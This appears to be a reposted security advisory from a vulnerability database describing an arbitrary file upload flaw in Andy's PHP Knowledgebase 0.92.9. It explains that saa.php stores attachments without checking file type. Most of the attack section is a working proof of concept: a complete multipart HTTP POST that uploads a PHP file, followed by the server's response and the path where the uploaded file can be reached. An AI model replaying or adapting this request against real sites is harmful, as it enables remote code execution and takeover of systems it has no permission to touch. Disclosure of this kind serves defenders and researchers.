Andy's PHP Knowledgebase 0.92.9 Arbitrary File Upload Vulnerability

2009.03.25
Credit: CWH
Risk: High
Local: No
Remote: Yes
CWE: CWE-94


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

============================================================== Andy's PHP Knowledgebase Arbitrary File Upload Vulnerability ============================================================== ,--^----------,--------,-----,-------^--, | ||||||||| `--------' | O .. CWH Underground Hacking Team .. `+---------------------------^----------| `\_,-------, _________________________| / XXXXXX /`| / / XXXXXX / `\ / / XXXXXX /\______( / XXXXXX / / XXXXXX / (________( `------' AUTHOR : CWH Underground DATE : 1 December 2008 SITE : cwh.citec.us ##################################################### APPLICATION : Andy's PHP Knowledgebase VERSION : 0.92.9 DOWNLOAD : http://sourceforge.net/project/showfiles.php?group_id=113755 ##################################################### --- Arbitrary File Upload --- In saa.php page, you can submit an article and attachment file to wait for approval from admin. Immediately after you submit the article and attachment file, the file has already been on the server without checking file type. You can upload arbitary file through this form and the url to this file is in authors.php page. -------- POC -------- POST /cms/aphpkb/saa.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://127.0.0.1/cms/aphpkb/saa.php?aid=2 Cookie: module=table; PHPSESSID=b311c4f9b1f3ee0c071f33ffd3b3176f Content-Type: multipart/form-data; boundary=---------------------------22955284022147 Content-Length: 1080 -----------------------------22955284022147 Content-Disposition: form-data; name="title" PoC Arbitrary File Upload -----------------------------22955284022147 Content-Disposition: form-data; name="article" PoC Arbitrary File Upload -----------------------------22955284022147 Content-Disposition: form-data; name="keywords" PoC Arbitrary File Upload -----------------------------22955284022147 Content-Disposition: form-data; name="aid" 2 -----------------------------22955284022147 Content-Disposition: form-data; name="upload"; filename="info.php" Content-Type: application/octet-stream <? phpinfo(); ?> -----------------------------22955284022147 Content-Disposition: form-data; name="description" PHP File -----------------------------22955284022147 Content-Disposition: form-data; name="aid" 2 -----------------------------22955284022147 Content-Disposition: form-data; name="a" -----------------------------22955284022147 Content-Disposition: form-data; name="submit" Submit/Save -----------------------------22955284022147-- HTTP/1.x 200 OK Date: Mon, 01 Dec 2008 05:39:35 GMT Server: Apache/2.2.8 (Win32) PHP/5.2.6 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 4578 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html ----------------------------------------------------------------------- Link for uploaded file is in http://[Target]/[aphpkb_path]/authors.php ####################################################################################### Greetz : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK #######################################################################################


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top